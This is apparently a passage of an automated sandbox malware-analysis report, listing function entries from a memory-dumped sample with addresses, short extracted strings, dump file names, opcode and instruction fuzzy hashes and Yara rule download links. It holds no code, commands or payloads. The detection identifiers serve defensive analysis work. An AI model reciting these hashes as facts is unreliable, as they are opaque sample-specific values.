Opcode Fuzzy Hash: 0827cce93562a824d1df85cc04d2515ca529a0186582f18583ecb38ab2285023
Instruction Fuzzy Hash: FFD1F57290C351CFD718CF28D85136A7BE2AF85324F0AC9ADE4959B3A1D738D954CB81

Function 0085D494 Relevance: 1.6, Strings: 1, Instructions: 320COMMON

Download Yara Rule

Strings

!, xrefs: 0085D620

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 9f1992f26d0fc37493252bfbe6f360c16b92bf33709e4507a80d3678040dc1ca
Instruction ID: 53580d2467af2c79c3c38faa6a4c36d285593043e8e952b3edef655af5055469
Opcode Fuzzy Hash: 9f1992f26d0fc37493252bfbe6f360c16b92bf33709e4507a80d3678040dc1ca
Instruction Fuzzy Hash: DEB189B3F116254BF3844929CD583A26683EBD1325F2F82788E58AB7C9DC7E5D0A5384

Function 007F0130 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

`ibc, xrefs: 007F0132

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID: InitializeThunk
String ID: `ibc
API String ID: 2994545307-3725910391
Opcode ID: 6a3b19841d2aeabecf837f2d6d868bf9124db2c26974597d6ab2e61f8c78fc74
Instruction ID: 68c6305737256686377a60c37808dc71d64c6d96200c74bf2a09a2257640666c
Opcode Fuzzy Hash: 6a3b19841d2aeabecf837f2d6d868bf9124db2c26974597d6ab2e61f8c78fc74
Instruction Fuzzy Hash: 0191F3756183059BD7188F18C89167FB3E2EF99310F18852CE6958B396EB35EC51C782

Function 0086D057 Relevance: 1.6, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

<, xrefs: 0086D2BB

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 6ad2fdc3ce7edecdaad05254877c0a562ed5a42c383e81fae756f558f8caee23
Instruction ID: 0370129012abbc8103a8d218d71de9eed37f1617d32395ff7b5ed46bca3341e1
Opcode Fuzzy Hash: 6ad2fdc3ce7edecdaad05254877c0a562ed5a42c383e81fae756f558f8caee23
Instruction Fuzzy Hash: 66A19EB3F1162547F3540D38CC983A26682D7A5325F2F82788E98BB7C9D87E9D0953C4

Function 0085306A Relevance: 1.5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

Strings

F, xrefs: 0085314A

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: f7867465b23a56fa26fb5474507fad267d220f77464da4228d92737fc36583f5
Instruction ID: 9fab92e58e88c2c2c5fc790e58b167635396214136af631bb3789e3360086316
Opcode Fuzzy Hash: f7867465b23a56fa26fb5474507fad267d220f77464da4228d92737fc36583f5
Instruction Fuzzy Hash: 1CA16BB3F1162547F3944C69CC983A266839BE5321F2F42788E5CAB7C5ED7E5C0A5384

Function 008522DD Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

m, xrefs: 0085249C

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: m
API String ID: 0-3775001192
Opcode ID: 529ac3f2c00426c7276f66f42ab7dbc19cbbdc3579d74bd07ea2b65a19c8824c
Instruction ID: d014d0d017794fae830a29ed4b421bb090f4df412d6ba5294faac3af5d85b983
Opcode Fuzzy Hash: 529ac3f2c00426c7276f66f42ab7dbc19cbbdc3579d74bd07ea2b65a19c8824c
Instruction Fuzzy Hash: 4BA17BB3F115254BF3944929CC583A26683DBE4315F2F82788F48AB7C5E97E9C0A5384

Function 00825340 Relevance: 1.5, Strings: 1, Instructions: 275COMMON

Download Yara Rule

Strings

JS4, xrefs: 00825340

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: JS4
API String ID: 0-2044837119
Opcode ID: 4d035002f8f6689af73035ff8349bcf5004eb3e94a678f18c0a21f3ce3988b40
Instruction ID: e9439ce85b0823d3e2db4b048257f6e1c0b32765c109c9339fdde7310d01f957
Opcode Fuzzy Hash: 4d035002f8f6689af73035ff8349bcf5004eb3e94a678f18c0a21f3ce3988b40
Instruction Fuzzy Hash: 36918DB3F116254BF3544C3ADC583A26683DBD5321F2F82788E58AB7C9DD7E5C0A5284

Function 008901AC Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

w, xrefs: 008903C8

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: w
API String ID: 0-476252946
Opcode ID: 4c783da5a8222002eacc9a7f5c47e7c3d74915e6b115c94d2d958d27096beceb
Instruction ID: ca798b8e1b4a80fe3bbf6c45b9816403a67abaf49b0619cc6e86dc04dd8479aa
Opcode Fuzzy Hash: 4c783da5a8222002eacc9a7f5c47e7c3d74915e6b115c94d2d958d27096beceb
Instruction Fuzzy Hash: 0C915DF3F6162647F3584825CC683A266839BE1325F3F82388E596B7C5DD7E9D0A1384

Function 007CD260 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

~, xrefs: 007CD32B

Memory Dump Source

Source File: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: ~
API String ID: 0-1707062198
Opcode ID: fce21a97053b326c15eb94a332be20e5676bcd6afa2728ddbd41dddb5d053cd1
Instruction ID: a8a2f53eee41a715c41f5a904898fc210914f33256154ae20b665371b6a2978a
Opcode Fuzzy Hash: fce21a97053b326c15eb94a332be20e5676bcd6afa2728ddbd41dddb5d053cd1
Instruction Fuzzy Hash: E58149729042A14FC725CE28C85176EBBD1AB85324F19C27DECB99B392D238DD05D7D1

Function 0089C1B3 Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

~)2, xrefs: 0089C1B3

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: ~)2
API String ID: 0-2509891921
Opcode ID: dae41f0b17c4c9659eac70ce38f6d087e0d55656b0d06adb7fe0b1a03ae710ad
Instruction ID: 18c05a15d4d830c747fd09ca3199b7309aacf5039695310a4defadde7570a1ca
Opcode Fuzzy Hash: dae41f0b17c4c9659eac70ce38f6d087e0d55656b0d06adb7fe0b1a03ae710ad
Instruction Fuzzy Hash: 3B9169B3F1162987F3844D29CCA83A27653EBD5320F2F82388B596B7C5D93E5D0A5784

Function 00813138 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

W, xrefs: 008131C1

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: W
API String ID: 0-655174618
Opcode ID: 82e9ac05d77dd37e861e579cdb2c5e8d953f4cdef10116e68fa3e94970526304
Instruction ID: 564163d0a2ceec31cc2a964de9d3702599995d4f52ca3ca05ba747a1ebb33d24
Opcode Fuzzy Hash: 82e9ac05d77dd37e861e579cdb2c5e8d953f4cdef10116e68fa3e94970526304
Instruction Fuzzy Hash: 7E91ABB3F115248BF3844D68CC583A27683DBD5312F2F82388E18AB7D8DD7E6D0A5684

Function 008984C3 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

A[@4, xrefs: 0089868E

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: A[@4
API String ID: 0-3016268453
Opcode ID: ca029753ec43fad44c9894c65463321ac9d2db307956242c0cc1bba7a8071f38
Instruction ID: 27162236157f9d49052648c2d6209ce4582d7427082d3e584a251d8260336d3e
Opcode Fuzzy Hash: ca029753ec43fad44c9894c65463321ac9d2db307956242c0cc1bba7a8071f38
Instruction Fuzzy Hash: E181AEB3E116258BF3444D68CC983A27692EBD1321F2F82788E586B7C4D93E5D4A57C4

Function 0089700F Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

e, xrefs: 008970D3

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: e
API String ID: 0-4024072794
Opcode ID: e7c83974cc47c12589c223e7bd9f09a64189cb8ea2d1a4e26504e1d8f61321f7
Instruction ID: 9ea252b14fd3982a30eb4a74c6197768230aaadf43a6501192361de745773489
Opcode Fuzzy Hash: e7c83974cc47c12589c223e7bd9f09a64189cb8ea2d1a4e26504e1d8f61321f7
Instruction Fuzzy Hash: F0817CB3F116158BF3404D68CC883A27683DBD5311F2F81788E48AB7C5D97EAD4A5788

Function 00877111 Relevance: 1.5, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

;, xrefs: 0087716E

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: ;
API String ID: 0-1661535913
Opcode ID: b2c9d9e349a48b05eb4861d0bc5d7a892f930dca414a3e083c8f81723a3dbbfa
Instruction ID: 59d3be1eff9f94ea59ef8939de327b1e4289f74639123567186f7a7275e7fd15
Opcode Fuzzy Hash: b2c9d9e349a48b05eb4861d0bc5d7a892f930dca414a3e083c8f81723a3dbbfa
Instruction Fuzzy Hash: 6B717FB3F5162547F3500D29CC983A276839BE5321F2F86788E9CAB3C5D87E9C0A5784

Function 0081A2E9 Relevance: 1.5, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

NPc, xrefs: 0081A2E9

Memory Dump Source

Source File: 00000000.00000002.1825017053.0000000000805000.00000040.00000001.01000000.00000003.sdmp, Offset: 007B0000, based on PE: true

Associated: 00000000.00000002.1824936328.00000000007B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1824952724.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825000843.0000000000803000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.000000000099D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825017053.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825261439.0000000000AB8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825364575.0000000000C59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1825381256.0000000000C5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7b0000_x6VtGfW26X.jbxd

Similarity

API ID:
String ID: NPc
API String ID: 0-3364078728
Opcode ID: 4d6c73849c621c25241821b1457a637c653f981bbf27145eea6e6d962270659a
Instruction ID: 31f48b0edec72239b51594b5fc1858d51c2ee9e9dd3a5d33bad8e217f1ff3ae8
Opcode Fuzzy Hash: 4d6c73849c621c25241821b1457a637c653f981bbf27145eea6e6d962270659a
Instruction Fuzzy Hash: CE617CB3F2192547F3984879CC583A665829BE4320F2F82788E5CAB7C9DD7E5D0A53C4

Function 007EE051 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

?, xrefs: 007EE178

Memory Dump Source

